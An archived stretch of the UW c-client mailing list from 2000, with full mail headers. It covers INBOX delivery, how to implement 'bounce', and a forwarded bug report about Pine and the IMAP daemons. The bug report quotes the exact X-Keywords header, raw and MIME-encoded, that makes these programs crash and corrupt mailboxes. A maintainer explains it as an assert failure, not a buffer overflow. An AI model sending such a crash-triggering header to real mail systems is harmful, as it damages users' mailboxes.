28 Aug 2000 17:02:43 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA94724 for ; Mon, 28 Aug 2000 17:00:32 -0700 Received: from mc-qout4.whowhere.com (mc-qout4.whowhere.com [209.185.123.18]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id RAA12319 for ; Mon, 28 Aug 2000 17:00:31 -0700 Received: from Unknown/Local ([?.?.?.?]) by my-deja.com; Mon Aug 28 17:00:17 2000 Message-Id: Date: Mon, 28 Aug 2000 17:00:17 -0700 Reply-To: hdupre@my-deja.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "hdupre " To: c-client@u.washington.edu Subject: Updating INBOX file Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Language: en Content-Transfer-Encoding: 7bit X-Sent-Mail: off X-Sender-Ip: 195.36.139.219 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I noticed that when a user logs in to the c-client, if it's configured to use an INBOX file, it moves mail from /var/mail to INBOX. Is there any way without the user's login to do that (as root) ? --== Sent via Deja.com http://www.deja.com/ ==-- Before you buy. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 28 21:22:59 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Aug 2000 21:22:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA31161 for ; Mon, 28 Aug 2000 21:22:57 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA31786; Mon, 28 Aug 2000 21:22:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA20594; Mon, 28 Aug 2000 21:22:21 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA58924 for ; Mon, 28 Aug 2000 21:21:31 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA15751 for ; Mon, 28 Aug 2000 21:21:31 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA11449; Mon, 28 Aug 2000 21:21:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (trebor@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id VAA26528; Mon, 28 Aug 2000 21:21:30 -0700 Message-Id: Date: Mon, 28 Aug 2000 21:17:49 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: hdupre@my-deja.com Cc: c-client@u.washington.edu Subject: re: Updating INBOX file In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 28 Aug 2000 17:00:17 -0700, hdupre wrote: > I noticed that when a user logs in to the c-client, if it's configured to > use an INBOX file, it moves mail from /var/mail to INBOX. > Is there any way without the user's login to do that (as root) ? If your question is "how can I set up the mailer deliver directly to an mbx format INBOX?", look at the tmail and dmail programs from: ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z From pinedev@shivax2.cac.washington.edu Mon Aug 28 21:28:08 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Aug 2000 21:28:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA17476 for ; Mon, 28 Aug 2000 21:28:07 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA29452; Mon, 28 Aug 2000 21:28:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA06522; Mon, 28 Aug 2000 21:27:31 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA21792 for ; Mon, 28 Aug 2000 21:27:02 -0700 Received: from euler.math.washington.edu (root@euler.math.washington.edu [128.95.224.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA16292 for ; Mon, 28 Aug 2000 21:27:02 -0700 Received: from goedel3.math.washington.edu (chappa@goedel3.math.washington.edu [128.95.224.12]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id VAA00664; Mon, 28 Aug 2000 21:27:01 -0700 (PDT) Message-Id: Date: Mon, 28 Aug 2000 21:27:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Mark Crispin Cc: hdupre@my-deja.com, c-client@u.washington.edu Subject: re: Updating INBOX file In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Mark Crispin (MRC@CAC.Washington.EDU) wrote today: :) On Mon, 28 Aug 2000 17:00:17 -0700, hdupre wrote: :) > I noticed that when a user logs in to the c-client, if it's configured to :) > use an INBOX file, it moves mail from /var/mail to INBOX. :) > Is there any way without the user's login to do that (as root) ? :) :) If your question is "how can I set up the mailer deliver directly to an mbx :) format INBOX?", look at the tmail and dmail programs from: :) ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z No, the question is "How can I deliver mail directly to INBOX (which is located somewhere else other than var/spool/mail?). You can use procmail to do that. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Tue Aug 29 16:25:32 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Aug 2000 16:25:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA17932 for ; Tue, 29 Aug 2000 16:25:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA28596; Tue, 29 Aug 2000 16:25:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA15864; Tue, 29 Aug 2000 16:24:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA41732 for ; Tue, 29 Aug 2000 16:23:58 -0700 Received: from mc-qout4.whowhere.com (mc-qout4.whowhere.com [209.185.123.18]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id QAA26673 for ; Tue, 29 Aug 2000 16:23:57 -0700 Received: from Unknown/Local ([?.?.?.?]) by my-deja.com; Tue Aug 29 16:23:47 2000 Message-Id: Date: Tue, 29 Aug 2000 16:23:47 -0700 Reply-To: hdupre@my-deja.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "hdupre " To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: re: Updating INBOX file Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Language: en Content-Transfer-Encoding: 7bit X-Sent-Mail: off X-Sender-Ip: 195.36.139.3 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 28 Aug 2000 21:17:49 Mark Crispin wrote: >On Mon, 28 Aug 2000 17:00:17 -0700, hdupre wrote: >> I noticed that when a user logs in to the c-client, if it's configured to >> use an INBOX file, it moves mail from /var/mail to INBOX. >> Is there any way without the user's login to do that (as root) ? > >If your question is "how can I set up the mailer deliver directly to an mbx >format INBOX?", look at the tmail and dmail programs from: > ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z > Thanks for your help, and how to setup sendmail to use tmail instead of mail.local on Solaris ? --== Sent via Deja.com http://www.deja.com/ ==-- Before you buy. From pinedev@shivax2.cac.washington.edu Thu Aug 31 09:19:07 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 31 Aug 2000 09:19:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA00106 for ; Thu, 31 Aug 2000 09:19:06 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA21048; Thu, 31 Aug 2000 09:19:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA27184; Thu, 31 Aug 2000 09:18:23 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA163614 for ; Thu, 31 Aug 2000 09:16:35 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA28803 for ; Thu, 31 Aug 2000 09:16:31 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id TAA77328; Thu, 31 Aug 2000 19:16:16 +0300 (EEST) Received: from city.dbnet.ece.ntua.gr (city.dbnet.ece.ntua.gr [147.102.12.38]) by dblab.ece.ntua.gr (8.11.0/8.11.0) with ESMTP id e7VGGGm85659; Thu, 31 Aug 2000 19:16:16 +0300 (EEST) Received: (from george@localhost) by city.dbnet.ece.ntua.gr (8.9.3/8.9.3) id TAA54988; Thu, 31 Aug 2000 19:16:15 +0300 (EEST) (envelope-from george) Message-Id: <20000831191615.A54976@dblab.ece.ntua.gr> Date: Thu, 31 Aug 2000 19:16:15 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: hdupre Cc: Mark Crispin , c-client@u.washington.edu Subject: Re: Updating INBOX file In-Reply-To: ; from hdupre@my-deja.com on Tue, Aug 29, 2000 at 04:23:47PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Aug 29, 2000 at 04:23:47PM -0700, hdupre wrote: > Thanks for your help, and how to setup sendmail to use tmail instead > of mail.local on Solaris ? Read tmail.1 From pinedev@shivax2.cac.washington.edu Tue Sep 5 04:46:18 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Sep 2000 04:46:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA05109 for ; Tue, 5 Sep 2000 04:46:17 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA23996; Tue, 5 Sep 2000 04:46:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA28286; Tue, 5 Sep 2000 04:45:18 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA63500 for ; Tue, 5 Sep 2000 04:43:41 -0700 Received: from smaug.netropolis.dk (IDENT:root@smaug-if0.netropolis.dk [129.142.224.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA30457 for ; Tue, 5 Sep 2000 04:43:32 -0700 Received: from netropolis.dk (IDENT:jonasn@[212.130.21.251]) by smaug.netropolis.dk (8.10.0/8.10.0) with ESMTP id e85Bmot25819 for ; Tue, 5 Sep 2000 13:48:50 +0200 Message-Id: <39B38A9E.309F000A@netropolis.dk> Date: Mon, 04 Sep 2000 13:42:22 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jonas Nielsen To: c-client@u.washington.edu Subject: Bounce in c-client MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jonasn@smaug.netropolis.dk X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Pine has a function called bounce, which forwards the mail without changing anything, not even the "to-field". It seems that it insert fields such as "ReSent-To". My hope was that I could insert this field in the queue file and that smtp_mail would understand it. That doesn't seem to be the case. Could anyone give me some hints on writing a bounce function, and/or explain how pine does it. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 5 15:20:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Sep 2000 15:20:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA10355 for ; Tue, 5 Sep 2000 15:20:30 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA04320; Tue, 5 Sep 2000 15:20:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA09511; Tue, 5 Sep 2000 15:19:09 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA145706 for ; Tue, 5 Sep 2000 15:17:26 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA10843 for ; Tue, 5 Sep 2000 15:17:25 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA28277; Tue, 5 Sep 2000 15:17:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (death@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id PAA26591; Tue, 5 Sep 2000 15:17:21 -0700 Message-Id: Date: Tue, 5 Sep 2000 15:08:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jonas Nielsen Cc: c-client@u.washington.edu Subject: re: Bounce in c-client In-Reply-To: <39B38A9E.309F000A@netropolis.dk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The way to implement "bounce" is to compose a new message, with the text being the RFC822.TEXT and the env->remail being the RFC822.HEADER, e.g.: env->remail = cpystr (mail_fetchheader (stream,msgno)); body->contents.text.data = /* get body of message */ cpystr (mail_fetchtext_full (stream,msgno,&body->contents.text.size,NIL)); From pinedev@shivax2.cac.washington.edu Thu Sep 7 11:15:15 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Sep 2000 11:15:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA27993 for ; Thu, 7 Sep 2000 11:15:14 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15260; Thu, 7 Sep 2000 11:15:11 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA09931; Thu, 7 Sep 2000 11:14:04 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA137362 for ; Thu, 7 Sep 2000 11:11:11 -0700 Received: from cancerous.braincells.com (root@braincells.com [165.254.18.21]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA00493 for ; Thu, 7 Sep 2000 11:11:08 -0700 Received: from jyoti.braincells.com (jyoti.braincells.com [192.168.2.3]) by cancerous.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA17367 for ; Thu, 7 Sep 2000 15:11:29 -0400 Message-Id: Date: Thu, 7 Sep 2000 13:07:56 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: c-client@u.washington.edu Subject: buffer overflow in c-client? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8BIT X-Sender: jaldhar@jyoti.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, some Debian users reported the following problem. I was unable to reproduce it myself. However Leena has sent a bug report to the Pine team which is pretty complete (and contains some excerpts from the Debian discussion) I think the problem is actually in c-client. I wrote a patch to src/osdep/unix/unix.c basically to use snprintf(3) instead of sprintf(3) but I'm not sure that it was right. I've run the c-client source through a scanner called its4 which looks for potentially insecure programming practices. It was most unsettling. Why in this day and age is there so much use of buffer overflow magnets like sprintf(3) and gets(3) etc? Your comments are greatly appreciated. -- Jaldhar H. Vyas ---------- Forwarded message ---------- From: Juhapekka Tolvanen To: jaldhar@debian.org, cii@axis.com Date: Thu, 7 Sep 2000 18:15:28 +0300 Subject: [liinu@uta.fi: bug in Pine 4.21 (Unix), possible mailbox corruption] My friend iterated with Pine many times and in many ways and was able to find situation, that makes pine crash always. ----- Forwarded message from Leena Heino ----- Date: Sun, 3 Sep 2000 00:10:24 +0300 (EET DST) From: Leena Heino To: pine-bugs@cac.washington.edu cc: jaldhar@debian.org, debian-security@lists.debian.org Subject: bug in Pine 4.21 (Unix), possible mailbox corruption X-Sender: liinu@lipstikka Short description: Pine exits with Panic error message when email has a certain kind of X-Keywords: header. Long description: Attached is a message to bugtraq that started this debugging. As to my knowledge no solution has been presented to this problem. This "bug" is in latest pine version 4.21. Pine version: 4.21 System: Sun Solaris 2.6 with gcc c-compiler. Presumptions: - Mailbox does not have the hidden "Do not delete this mail" or this hidden mail is corrupted and has to created. - Mailbox has email with X-Keywords: header and this header is split into two lines with second line beginning with "space" character - Email with that special X-Keywords header is not deleted from mailbox When above presumptions are present then pine will always exit with this error message: Pine Panic: header size inconsistant This bug is most likely in c-client library and therefore affects every program that uses c-client library. This includes University of Washington's IMAP and POP3 daemons. Here's the relevant part from .pine-debug file: ---- QUIT SCREEN ---- - completely_done_with_adrbks - expunge and close mail stream "/var/mail/mailbox" about to end_tty_driver Pine Panic: header size inconsistant -- Leena Heino (liinu@uta.fi) It seems, that c-client libraries by University of Washington have some bug(s), that makes some programs that depend upon those libraries go crazy. AFAIK affected programs include at least Pine (read "pain"), ipop3d and IMAPD. And those programs and libraries are commonly used in Unixes. I don't know, if any patch, fix, work-around etc. exist. * * * Problem was caused by my X-Keywords-header, that serves as so called spook line (Hello, NSA! :-) ): X-Keywords: kettutytöt, Sanna Sillanpää, IKL, Jammu Siltavuori, ryssä, somali, lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb, nuclear, Semtex, satan, traitor, pedophile I shortened it to this: X-Keywords: lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb, nuclear, Semtex, satan, traitor, pedophile And then problems disappeared. I use a character set called ISO-LATIN-1. And my original X-Keywords: -header had some scandinavic characters ("umlaut o" aka "o with dots" and "umlaut a" aka "a with dots" ) in words "kettutytöt" and "ryssä". Here are some problem reports from mailing-lists of Debian: Date: Wed, 30 Aug 2000 23:52:12 +0200 From: Cristian Ionescu-Idbohrn To: bugs@bugs.debian.org CC: juhtolv@st.jyu.fi, debian-devel@lists.debian.org, debian-legal@lists.debian.org Subject: imap mailbox killer (Clip) I don't know if it was your intension, but you managed to totally screw up my inbox (no hard feelings)! The IMAP daemon went crazy trying to make sense of that box and put it's holy counts on the "Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA". Is this a security hole?^X Date: Wed, 30 Aug 2000 15:31:12 -0700 (MST) To: Cristian Ionescu-Idbohrn cc: juhtolv@st.jyu.fi (Clip) I've been fighting this problem all day too. Pine blows up when you try to save the INBOX back out with any changes. (I'm using fetchmail and plain vanilla mail spool files.) It was driving me nuts. Thanks for posting. (I saved a copy of my mailbox and will pick through it with a fine-tooth comb later.) (Clip) Date: Thu, 31 Aug 2000 10:22:48 +0200 (CEST) From: Cristian Ionescu-Idbohrn To: Juhapekka Tolvanen cc: debian-devel@lists.debian.org (Clip) Looks like all boxes get an extra message inserted. It looks something like this: ,----- | From MAILER-DAEMON Wed Aug 30 09:54:25 2000 | Delivery-Date: Thu May 11 21:51:47 2000 | Date: Thu, 11 May 2000 21:51:47 +0200 (MET DST) | From: Mail System Internal Data | Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA | X-IMAP: 0928135936 0000033614 | Status: RO | X-Status: | X-Keywords: | X-UID: 2 | | This text is part of the internal format of your mail folder, and is not | a real message. It is created automatically by the mail system software. | If deleted, important folder data will be lost, and it will be re-created | with the data reset to initial values. `----- I don't know if it's the IMAP daemon or the pine client who is responsible for this. One (or several) of Juhapekka message header entries, probably this: ,----- | X-Keywords: +=?iso-8859-1?Q?kettutyt=F6t=2C_Sanna_Sillanp=E4=E4=2C_IKL=2C_Jammu_Silta?= | =?iso-8859-1?Q?vuori=2C_ryss=E4=2C_somali=2C_lesbo=2C_homo=2C_lesbian=2C?= | =?iso-8859-1?Q?_anarchism=2C_nazi=2C_communism=2C_CIA=2C_bomb=2C_nuclear?= | =?iso-8859-1?Q?=2C_Semtex=2C_satan=2C_traitor=2C_pedophile?= `----- caused the daemon (or the client) screw up the "magic". I ended up with a "magic" message looking like this: ,----- | From MAILER-DAEMON Wed Aug 30 16:36:48 2000 | Date: 30 Aug 2000 16:36:48 +0200 | From: Mail System Internal Data | Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA | Message-ID: <967646208@host.com> | X-IMAP: 0967646162 0000000339 +=?iso-8859-1?Q?kettutyt=F6t=2C_Sanna_Sillanp=E4=E4=2C_IKL=2C_Jammu_Silta?= | Status: RO | | This text is part of the internal format of your mail folder, and is not | a real message. It is created automatically by the mail system software. | If deleted, important folder data will be lost, and it will be re-created | with the data reset to initial values. `----- and a lot of NULL characters preceeding a few (5-6) of the messages in some boxes. Hope this helps to find the problem. There's definitely a BUG lurking somewhere. (Clip) Date: Thu, 31 Aug 2000 12:34:14 -0400 (EDT) From: "Jaldhar H. Vyas" Reply-To: "Jaldhar H. Vyas" To: Richard A Nelson cc: Juhapekka Tolvanen , Cristian Ionescu-Idbohrn , debian-devel@lists.debian.org, 70647@bugs.debian.org (Clip) > > There might be bug in either Pine or IMAP(D) or both. > > Both... I had to manually delete several messages in Pine 4.21 folders > and I don't use IMAP > Pine also uses libc-client which is where the bug is. (Clip) Date: Thu, 31 Aug 2000 12:31:03 -0400 (EDT) From: "Jaldhar H. Vyas" To: Buddha Buck cc: Richard A Nelson Juhapekka Tolvanen , Cristian Ionescu-Idbohrn , 70647@bugs.debian.org, debian-devel@lists.debian.org (Clip) > My school uses imap, but I didn't -directly- invoke it in this process. It > may have been invoked by their mailer behind the scenes, though. > Not necessarily. However ipop3d and imapd both use the c-client library for all the mail handling routines. That's where the bug is so both would have been affected. (Clip) -- Juhapekka "naula" Tolvanen * * * U of Jyväskylä * * juhtolv@st.jyu.fi http://www.cc.jyu.fi/~juhtolv/index.html * "STRAIGHT BUT NOT NARROW!" --------------------------------------------------------------------- "so impressed with all you do. tried so hard to be like you. flew too high and burnt the wing. lost my faith in everything" nine inch nails ----- End forwarded message ----- -- Juhapekka "naula" Tolvanen * * * U of Jyväskylä * * juhtolv@st.jyu.fi http://www.cc.jyu.fi/~juhtolv/index.html * "STRAIGHT BUT NOT NARROW!" --------------------------------------------------------------------- "so impressed with all you do. tried so hard to be like you. flew too high and burnt the wing. lost my faith in everything" nine inch nails From pinedev@shivax2.cac.washington.edu Thu Sep 7 12:04:15 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Sep 2000 12:04:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA30635 for ; Thu, 7 Sep 2000 12:04:13 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA17392; Thu, 7 Sep 2000 12:04:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA24849; Thu, 7 Sep 2000 12:03:00 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA118642 for ; Thu, 7 Sep 2000 12:02:20 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pchar@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA06282 for ; Thu, 7 Sep 2000 12:02:19 -0700 Message-Id: Date: Thu, 7 Sep 2000 11:27:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client@u.washington.edu Subject: re: buffer overflow in c-client? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The X-Keywords problem is not a buffer overflow. Repeat. The X-Keywords problem is *NOT* a buffer overflow. I know that we live in a world where every bug is called a buffer overflow security bug, but that doesn't mean it so. Did you notice that Pine crashed voluntarily with a message "Pine Panic: header size inconsistant"? This means that an assert-style bugtrap occurred, not a buffer overflow. The problem only affects imap-4.6 and imap-4.7. It does not affect imap-2000. The assert failure was that a preliminary calculation of the size of the header of a message did not match the subsequent actual size. The size calculation is used to determine if the rewritten mailbox will fit within disk quota. It also validates that the overwrite and buffer management is going correctly. If it does not match the subsequent actual size, then there is a serious question about the integrity of the data. The program deliberately crashed to avoid potentially causing worse damage. In this particular case, the right thing would have happened if it had ignored the problem and continued with the rewrite. But the code didn't know that. The specific cause of the problem was an internal header line (specifically, Status, X-Status, X-UID, X-Keywords, X-IMAP, X-IMAPbase) which had a continuation line. Internal header lines are an unfortunate artifact of the way that the standard UNIX mailbox format works. They are supposedly only written 